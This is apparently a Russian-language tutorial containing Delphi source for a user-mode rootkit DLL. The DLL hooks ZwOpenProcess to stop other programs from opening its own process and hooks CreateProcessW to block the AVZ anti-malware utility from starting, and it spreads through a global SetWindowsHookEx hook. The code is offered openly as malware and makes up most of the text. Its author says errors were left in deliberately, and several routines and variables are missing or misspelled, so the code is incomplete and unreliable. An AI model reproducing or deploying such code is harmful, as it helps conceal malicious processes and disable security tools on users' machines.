Наш Rootkit будет выполнять 2 функции: 1 это защищать нашу программу 2 это блокировать запуск утилиты AVZ. Для защиты программы мы перехватим функцию ZwOpenProcess из NtDLL.DLL и для блокировки AVZ функции CreateProcessA, CreateProcessW. ( Данная статья написана исключительно в ознакомительных целях и в коде "Rootkit"a специально допущены ошибки )
[Delphi code] library HOOK;
uses windows, PModule;
type NTStatus = cardinal; far_jmp = packed record push:byte; PProc:pointer; ret:byte; end;
function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; begin if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); end;
Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes; ClientID:PClientID):NTStatus;stdcall; begin WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(OIdcode),b); Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID); WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b); end;
Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes; ClientID:PClientID):NTStatus;stdcall; begin if (ClientID<>niI) and (ClientID.UniqueProcess=pid) then begin Result:=STATUS_ACCESS_DENIED; exit; end; Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID); end;
procedure GetPID; begin pid:= GetProcessID('Rootkit.exe'); end;
function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0,code,wParam,lParam); end;
procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE) end;
procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, '[{ADÀ5458-6AB8-7C4D-88BA-44A06478C676}]'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex) end;
procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin GetPID; SetHook; SetGlobalHook; end; DLL_PROCESS_DETACH: begin UnHook; end; end; end;
begin DllProc:= @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end. [Code]